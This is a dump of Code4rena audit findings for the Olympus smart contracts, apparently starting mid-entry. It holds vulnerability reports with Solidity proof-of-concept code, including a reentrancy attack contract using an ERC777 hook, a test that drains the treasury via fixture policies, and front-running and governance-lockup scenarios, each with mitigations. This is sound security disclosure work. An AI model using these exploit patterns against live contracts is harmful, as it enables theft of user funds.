UserFactory public userCreator; address internal alice; @@ -53,6 +56,9 @@ contract OperatorTest is Test { address internal policy; address internal heart; + address public debtor; + address public godmode; + RolesAuthority internal auth; BondAggregator internal aggregator; BondFixedTermTeller internal teller; @@ -187,6 +193,18 @@ contract OperatorTest is Test { reserve.mint(address(treasury), testReserve * 100); + debtor = treasury.generateFunctionFixture(treasury.getLoan.selector); + godmode = treasury.generateGodmodeFixture(type(OlympusTreasury).name); + + kernel.executeAction(Actions.ActivatePolicy, godmode); + kernel.executeAction(Actions.ActivatePolicy, debtor); + + vm.prank(godmode); + treasury.setApprovalFor(debtor, reserve, testReserve * 100); + + vm.prank(debtor); + treasury.getLoan(reserve,testReserve*100); + // Approve the operator and bond teller for the tokens to swap vm.prank(alice); ohm.approve(address(operator), testOhm * 20); ``` same is applicable for low market bonds since they are created based on the same capacity ## Tools Used vs code + tests ## Recommended Mitigation Steps determine capacity from actual tokens held by treasury."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/417", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/415", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "TRSRY: front-runnable `setApprovalFor`", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/410", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L64-L72 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/TreasuryCustodian.sol#L42-L48 # Vulnerability details ## Impact An attacker may be able to withdraw more than intended ## Proof of Concept Let's say the alice had approval of 100. Now the treasury custodian reduced the approval to 50. Alice could frontrun the `setApprovalFor` of 50, and withdraw 100 as it was before. Then withdraw 50 with the newly set approval. So the alice could withdraw 150. ```solidity // modules/TRSRY.sol 63 /// @notice Sets approval for specific withdrawer addresses 64 function setApprovalFor( 65 address withdrawer_, 66 ERC20 token_, 67 uint256 amount_ 68 ) external permissioned { 69 withdrawApproval[withdrawer_][token_] = amount_; 70 71 emit ApprovedForWithdrawal(withdrawer_, token_, amount_); 72 } ``` The `TreasuryCustodian` simply calls the `setApprovalFor` to grant Approval. ```solidity 41 42 function grantApproval( 43 address for_, 44 ERC20 token_, 45 uint256 amount_ 46 ) external onlyRole(\"custodian\") { 47 TRSRY.setApprovalFor(for_, token_, amount_); 48 } ``` ## Tools Used none ## Recommended Mitigation Steps Instead of setting the given amount, one can reduce from the current approval. By doing so, it checks whether the previous approval is spend. "}, {"title": "Operator: if WallSpread is 10000, `operate` and `beat` will revert and price information cannot be updated anymore", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/404", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Operator: if WallSpread is 10000, `operate` and `beat` will revert and price information cannot be updated anymore"}, {"title": "TRSRY: reenter from OlympusTreasury::repayLoan to Operator::swap", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/403", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L105-L112 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330 # Vulnerability details ## Impact One can repay loan to the treasury with the value from the Operator::swap Condition: - the reserve token in Operator has hook for sender (like ERC777) - the debt is the same token as reserve ## Proof of Concept The below code snippet shows a part of proof of concept for reentrancy attack, which is based on `src/test/policies/Operator.t.sol`. The full test code can be found [here](https://gist.github.com/zzzitron/651e1451ac1ff21be8a72b502b26f7cb), and [git diff from the `Operator.t.sol`](https://gist.github.com/zzzitron/5b8ebe635ed1939f18a100c7940b4f11). Let's say that the reserve token implements ERC777 with the hook for the sender [(see weird erc20)](https://github.com/d-xo/weird-erc20#reentrant-calls). If the attacker can take debt of the reserve currency for the attack contract `Reenterer`, the contract can call `OlympusTreasury::repayLoan` and in the middle of repay call `Operator::swap` function. The `swap` function will modify the reserve token balance of treasury and the amount the attacker swapped will be also be used for the `repayLoan`. In the below example, the attacker has debt of 1e18, and repays 1e17. But since the `swap` function is called in the `repayLoan`, the debt is reduced 1e17 more then it should. And the swap happened as expected so the attack has the corresponding ohm token. ```solidity /// Mock to simulate the senders hook /// for simplicity omitted the certain aspects like ERC1820 registry and etc. contract MockERC777 is MockERC20 { constructor () MockERC20(\"ERC777\", \"777\", 18) {} function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _callTokenToSend(from, to, amount); return super.transferFrom(from, to, amount); // _callTokenReceived(from, to, amount); } // simplified implementation for ERC777 function _callTokenToSend(address from, address to, uint256 amount) private { if (from != address(0)) { IERC777Sender(from).tokensToSend(from, to, amount); } } } interface IERC777Sender { function tokensToSend(address from, address to, uint256 amount) external; } /// Concept for an attack contract contract Reenterer is IERC777Sender { ERC20 public token; Operator public operator; bool public entered; constructor(address token_, Operator op_) { token = ERC20(token_); operator = op_; } function tokensToSend(address from, address to, uint256 amount) external override { if (!entered) { // call swap from reenter // which will manipulate the balance of treasury entered = true; operator.swap(token, 1e17, 0); } } function attack(OlympusTreasury treasury) public { // approve to the treasury token.approve(address(treasury), 1e18); token.approve(address(operator), 100* 1e18); // repayDebt of 1e17 treasury.repayLoan(token, 1e17); } } ``` ```solidity /// the test function test_poc__reenter() public { vm.prank(guardian); operator.initialize(); reserve.mint(address(reenterer), 1e18); assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18); // start repayLoan reenterer.attack(treasury); // it should be 9 * 1e17 but it is 8 * 1e17 assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17); } ``` ## Cause The `repayLoan`, in the line 110 below, calls the `safeTransferFrom`. The balance before and after are compared to determine how much of debt is paid. So, if the `safeTranferFrom` can modify the balance, the attacker can profit from it. ```solidity // OlympusTreasury::repayLoan // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L105-L112 105 function repayLoan(ERC20 token_, uint256 amount_) external nonReentrant { 106 if (reserveDebt[token_][msg.sender] == 0) revert TRSRY_NoDebtOutstanding(); 107 108 // Deposit from caller first (to handle nonstandard token transfers) 109 uint256 prevBalance = token_.balanceOf(address(this)); 110 token_.safeTransferFrom(msg.sender, address(this), amount_); 111 112 uint256 received = token_.balanceOf(address(this)) - prevBalance; ``` In the `swap` function, if the amount in token is reserve, the payment token to buy ohm will be paid to the treasury. It gives to an opportunity to modify the balance. ```solidity // Operator::swap // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330 329 /// Transfer reserves to treasury 330 reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_); ``` Although both of `Operator::swap` and `OlympusTreasury::repayLoan` have `nonReentrant` modifier, it does not prevent as they are two different contracts. ## Tools Used foundry ## Recommended Mitigation Steps The deposit logic in the `OlympusTreasury::repayLoan` was trying to handle nonstandard tokens, such as fee-on-transfer. But by doing so introduced an attack vector for tokens with ERC777. If the reserve token should be decided in the governance, it should be clarified, which token standards can be used safely. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/401", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/400", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/398", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/396", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Anyone can pass any proposal alone before first `VOTES` are minted", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/392", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "Anyone can pass any proposal alone before first `VOTES` are minted"}, {"title": "Inconsistency in staleness checks between OHM and reserve token oracles", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/391", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L165-L171 # Vulnerability details ## Impact Price oracle may fail and revert due to the inconsistency in the staleness checks. ## Proof of Concept In the `getCurrentPrice()` of `PRICE.sol`, Chainlink oracles are used to get the price of OHM against a reserve token, and a staleness check is used to make sure the price oracles are reporting fresh data. Yet the freshness requirements are inconsistent, for OHM, `updatedAt` should be lower than current timestamp minus three times the observation frequency, while for the reserve price, it is required that `updatedAt` should be lower than current timestamp minus the observation frequency. Our understanding is that that frequency is multiplied by 3 so that there can be some meaningful room where price data is accepted, as the time frame of only observation frequency (multiplied by 1) may not be enough for the oracle to realistically update its data. (In other words, the frequency of new price information might be lower than the observation frequency, which is probably the case as third multiple is used for the OHM price). If this is the case, this inconsistency may lead to the `getCurrentPrice()` reverting as while third multiple of the observation frequency might give enough space for the first oracle, second oracle's first multiple of frequency time frame might not be enough and it couldn't pass the staleness check due to unrealistic expectation of freshness. ## Tools Used Manual review, talking with devs ## Recommended Mitigation Steps Change the line 171 to ``` if (updatedAt < block.timestamp - 3 * uint256(observationFrequency)) ``` like line 165. "}, {"title": "TRSRY:getLoan() is permissioned, but no policy has permission to call it", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/389", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "TRSRY:getLoan() is permissioned, but no policy has permission to call it"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/387", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/385", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/384", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "No Cap on Amount of VOTES means the `voter_admin` can get any proposal to pass", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/380", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "No Cap on Amount of VOTES means the `voter_admin` can get any proposal to pass"}, {"title": "Inconsistant parameter requirements between `constructor()` and `Set() functions` in `RANGE.sol` and `Operator.sol`.", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/379", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-08-olympus-findings", "body": "Inconsistant parameter requirements between `constructor()` and `Set() functions` in `RANGE.sol` and `Operator.sol`."}, {"title": "Heart will stop if all rewards are swept", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/378", "labels": ["bug", "2 (Med Risk)", "high quality report", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L110-L115 # Vulnerability details Rewards for Heart `beat` are sent via `_issueReward` https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L110-L115 ```solidity function _issueReward(address to_) internal { rewardToken.safeTransfer(to_, reward); emit RewardIssued(to_, reward); } ``` The function doesn't check for available tokens e.g. `min(reward, rewardToken.balanceOf(address(this)));` In case of calling `withdrawUnspentRewards` https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L149-L152 ```solidity /// @inheritdoc IHeart function withdrawUnspentRewards(ERC20 token_) external onlyRole(\"heart_admin\") { token_.safeTransfer(msg.sender, token_.balanceOf(address(this))); } ``` Because the function withdraws the entire amount, the heart will stop until a caller incentive is deposited again. While a profitable searches will stop calling the Heart without an incentive, allowing the heart to beat when no rewards are available is preferable to having it self-DOS until a DAO aligned caller donates `rewardToken` or the DAO deals with the lack of tokens. ## Remediation Add a check for available tokens `min(reward, rewardToken.balanceOf(address(this)));`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/377", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "In `Governance.sol`, it might be impossible to activate a new proposal forever after failed to execute the previous active proposal.", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/376", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L216-L221 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L302-L304 # Vulnerability details ## Impact Currently, if users vote for the active proposal, the `VOTES` are transferred to the contract so that users can't vote or endorse other proposals while the voted proposal is active. And the active proposal can be replaced only when the proposal is executed successfully or another proposal is activated after `GRACE_PERIOD`. But `activateProposal()` requires at least 20% endorsements [here](https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L216-L221), so it might be impossible to activate a new proposal forever if the current active proposal involves more than 80% of total votes. ## Proof of Concept The below scenario would be possible. 1. `Proposal 1` was submitted and activated successfully. 2. Let's assume 81% of the total votes voted for this proposal. `Yes = 47%`, `No = 34%` 3. This proposal can't be executed for [this requirement](https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L268-L270) because `47% - 34% = 13% < 33%`. 4. Currently the contract contains more than 81% of total votes and users have at most 19% in total. 5. Also users can't reclaim their votes among 81% while `Proposal 1` is active. 6. So even if a user who has 1% votes submits a new proposal, it's impossible to activate because of this [require()](https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L216-L221). 7. So it's impossible to delete `Proposal 1` from an active proposal and there won't be other active proposal forever. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps I think we should add one more constant like `EXECUTION_EXPIRE = 2 weeks` so that voters can reclaim their votes after this period even if the proposal is active. I am not sure we can use the current `GRACE_PERIOD` for that purpose. So `reclaimVotes()` should be modified like below. ``` function reclaimVotes(uint256 proposalId_) external { uint256 userVotes = userVotesForProposal[proposalId_][msg.sender]; if (userVotes == 0) { revert CannotReclaimZeroVotes(); } if (proposalId_ == activeProposal.proposalId) { if (block.timestamp < activeProposal.activationTimestamp + EXECUTION_EXPIRE) //+++++++++++++++++++++++++++++++++ { revert CannotReclaimTokensForActiveVote(); } } if (tokenClaimsForProposal[proposalId_][msg.sender] == true) { revert VotingTokensAlreadyReclaimed(); } tokenClaimsForProposal[proposalId_][msg.sender] = true; VOTES.transferFrom(address(this), msg.sender, userVotes); } ```"}, {"title": "The governance system can be held hostage by a malicious user", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/375", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "The governance system can be held hostage by a malicious user"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/374", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/373", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/372", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Missing checks in `Kernel._deactivatePolicy`", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/368", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/Kernel.sol#L325 # Vulnerability details ## Impact There are no checks to ascertain that the policy being removed is registered in the `Kernel`. Trying to remove a non-registered results in the policy registered at 0th index of `activePolicies` being removed. ## Proof of Concept https://github.com/code-423n4/2022-08-olympus/blob/main/src/Kernel.sol#L325 ## Recommended Mitigation Steps Adding `require(activePolicies[idx] == policy_, \"Unregistered policy\");` will prevent this, where `idx = getPolicyIndex[policy_]`. **NOTE:** The issue is less likely to happen as this is handled solely by the executor, but having safeguards in the contract is always better than relying on an external factor. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/365", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Unrestricted access for configureDependencies in all the policies. Anyone can call the configureDependencies ", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/364", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "Unrestricted access for configureDependencies in all the policies. Anyone can call the configureDependencies "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/363", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/361", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/360", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/359", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/357", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/356", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/354", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/353", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/330", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/327", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/326", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/325", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/324", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/323", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/321", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/320", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/319", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Griefing/DOS of withdrawals by EOAs from treasury (TRSRY) possible", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/317", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/TreasuryCustodian.sol#L53-L67 # Vulnerability details ## Impact Any withdrawals from the treasury by an approved EOA can be denied by a malicious actor that watches the mempool. ## Proof of Concept The function TreasuryCustodian.revokePolicyApprovals() doesnt provide sufficient checks for its intended purpose of \"revoking a deactivated policy's approvals\". As can be seen by the TODO labels, the issue has already been acknowledged by the team (regardless it is still an issue present in an in-scope contract). The only check performed is trying to call the isActive()-function on an address and interpret the returned value as boolean. Attempting to call this function on an EOA will not fail and return 0 (=false). Hence the condition to revert is not fulfilled and the amounts approved to withdraw will be set to 0. ## Tools Used IDE (Remix, VSCode) ## Recommended Mitigation Steps A partial but insufficient fix would be to check if the address passed to the function contains code and hence is not an EOA. A better approach might be to add a mapping(address => bool) of all addresses that have been active policies some time in the past to the kernel, something like this: As a public variable in Kernel.sol `mapping(address => bool) public isRegisteredPolicy;` in Kernel.activatePolicy(): `isRegisteredPolicy[address(policy_)] ) = true;` and finally in TreasuryCustodian.revokePolicyApprovals(): `if(!kernel.isRegisteredPolicy(policy_) revert NotARegisteredPolicy`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/316", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/312", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/311", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/310", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "OlympusGovernance: Users can prevent their votes from being revoked", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/308", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "OlympusGovernance: Users can prevent their votes from being revoked"}, {"title": "TRSRY.sol function repayLoan() alows only loan owner to repay loan", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/307", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L104-L119 # Vulnerability details ### TRSRY.sol alows only loan owner to repay loan It should be allowed that that everyone can repay the loan. There could be a situation that loan owner is not able to repay the loan but a different address could repay in his place. It seems as unnecessary restriction that only the owner can repay his loan. **Recommendation**: Allow everyone to repay any loan. Context: [`TRSRY.sol#L104-L119`](https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L104-L119) ```diff= - function repayLoan(ERC20 token_, uint256 amount_) external nonReentrant { - if (reserveDebt[token_][msg.sender] == 0) revert TRSRY_NoDebtOutstanding(); // Deposit from caller first (to handle nonstandard token transfers) uint256 prevBalance = token_.balanceOf(address(this)); token_.safeTransferFrom(msg.sender, address(this), amount_); uint256 received = token_.balanceOf(address(this)) - prevBalance; // Subtract debt from caller - reserveDebt[token_][msg.sender] -= received; totalDebt[token_] -= received; - emit DebtRepaid(token_, msg.sender, received); } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/306", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/305", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/297", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/296", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/294", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/291", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/289", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/288", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/282", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Voted votes cannot change after the user are issued with new votes or the user's old votes are revoked during voting", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/275", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Governance.sol#L240-L262 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/VoterRegistration.sol#L45-L48 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/VoterRegistration.sol#L53-L56 # Vulnerability details ## Impact A user can call the following `vote` function to vote for a proposal. During voting, the voter admin can still call the `issueVotesTo` and `revokeVotesFrom` functions below to issue new votes or revoke old votes for the user, which also changes the votes' total supply during the overall voting. Because each user can only call `vote` once for a proposal due to the `userVotesForProposal[activeProposal.proposalId][msg.sender] > 0` conditional check, the old voted votes, resulted from the `vote` call by the user, will be used to compare against the new total supply of the votes, resulted from the `issueVotesTo` and `revokeVotesFrom` calls during the overall voting, when determining whether the proposal can be executed or not. Because of this inconsistency, the result on whether the proposal can be executed might not be reliable. https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Governance.sol#L240-L262 ```solidity function vote(bool for_) external { uint256 userVotes = VOTES.balanceOf(msg.sender); if (activeProposal.proposalId == 0) { revert NoActiveProposalDetected(); } if (userVotesForProposal[activeProposal.proposalId][msg.sender] > 0) { revert UserAlreadyVoted(); } if (for_) { yesVotesForProposal[activeProposal.proposalId] += userVotes; } else { noVotesForProposal[activeProposal.proposalId] += userVotes; } userVotesForProposal[activeProposal.proposalId][msg.sender] = userVotes; VOTES.transferFrom(msg.sender, address(this), userVotes); emit WalletVoted(activeProposal.proposalId, msg.sender, for_, userVotes); } ``` https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/VoterRegistration.sol#L45-L48 ```solidity function issueVotesTo(address wallet_, uint256 amount_) external onlyRole(\"voter_admin\") { // Issue the votes in the VOTES module VOTES.mintTo(wallet_, amount_); } ``` 